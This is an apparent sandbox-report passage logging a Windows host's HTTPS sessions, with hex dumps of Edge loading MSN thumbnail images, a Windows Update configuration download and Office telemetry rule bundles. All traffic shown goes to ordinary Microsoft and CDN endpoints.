2024-11-20 15:51:11 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.9	49838	23.221.239.203	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:13 UTC	506	OUT	GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 15:51:13 UTC	550	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 01 Nov 2024 15:19:08 GMT X-Source-Length: 17955 X-Datacenter: northeu X-ActivityId: d2440427-50e1-4b1e-9511-bbaa45a53b32 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=344037 Expires: Sun, 24 Nov 2024 15:25:10 GMT Date: Wed, 20 Nov 2024 15:51:13 GMT Connection: close
2024-11-20 15:51:13 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.9	49839	23.221.239.203	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:15 UTC	505	OUT	GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 15:51:15 UTC	548	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 15 Nov 2024 05:16:37 GMT X-Source-Length: 62552 X-Datacenter: eastus X-ActivityId: b6de683a-38cf-4a4e-bd01-aa1a6ca52471 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=350732 Expires: Sun, 24 Nov 2024 17:16:47 GMT Date: Wed, 20 Nov 2024 15:51:15 GMT Connection: close
2024-11-20 15:51:15 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.9	49840	23.221.239.203	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:16 UTC	505	OUT	GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 15:51:17 UTC	547	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Tue, 29 Oct 2024 19:03:22 GMT X-Source-Length: 95457 X-Datacenter: westus X-ActivityId: 155cd87c-435f-4d80-bfaf-3f0e9ec39163 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=98595 Expires: Thu, 21 Nov 2024 19:14:32 GMT Date: Wed, 20 Nov 2024 15:51:17 GMT Connection: close
2024-11-20 15:51:17 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.9	49841	23.221.239.203	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:18 UTC	506	OUT	GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 15:51:18 UTC	551	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 15 Nov 2024 06:37:05 GMT X-Source-Length: 1437868 X-Datacenter: westus X-ActivityId: 35f8cf50-b6a5-4c74-ae05-da13e654185f Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=355617 Expires: Sun, 24 Nov 2024 18:38:15 GMT Date: Wed, 20 Nov 2024 15:51:18 GMT Connection: close
2024-11-20 15:51:18 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.9	49842	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:21 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=bslUwWlH7asp55+&MD=TSa4H7Ug HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-20 15:51:22 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 143d2c3d-e8d2-43ff-aeba-092ed1adb3d1 MS-RequestId: c87846f2-50cf-47a8-b8b7-8660e60aa360 MS-CV: s/fJaP6GRUaHsbV/.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Nov 2024 15:51:21 GMT Connection: close Content-Length: 30005
2024-11-20 15:51:22 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-20 15:51:22 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.9	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:39 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:39 UTC	492	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:39 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 19 Nov 2024 16:37:24 GMT ETag: "0x8DD08B87243495C" x-ms-request-id: b5254561-a01e-0070-0158-3b573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155139Z-1777c6cb754xlpjshC1TEBv8cc0000000a0g000000003r0d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 15:51:39 UTC	15892	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-20 15:51:39 UTC	16384	IN	Data Raw: 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V
2024-11-20 15:51:39 UTC	16384	IN	Data Raw: 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 Data Ascii: 20v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="T
2024-11-20 15:51:40 UTC	16384	IN	Data Raw: 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d Data Ascii: T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F=
2024-11-20 15:51:40 UTC	16384	IN	Data Raw: 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a Data Ascii: alse"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C>
2024-11-20 15:51:40 UTC	16384	IN	Data Raw: 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 Data Ascii: I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="Cleanup
2024-11-20 15:51:40 UTC	16384	IN	Data Raw: 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R>
2024-11-20 15:51:40 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 Data Ascii: </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> 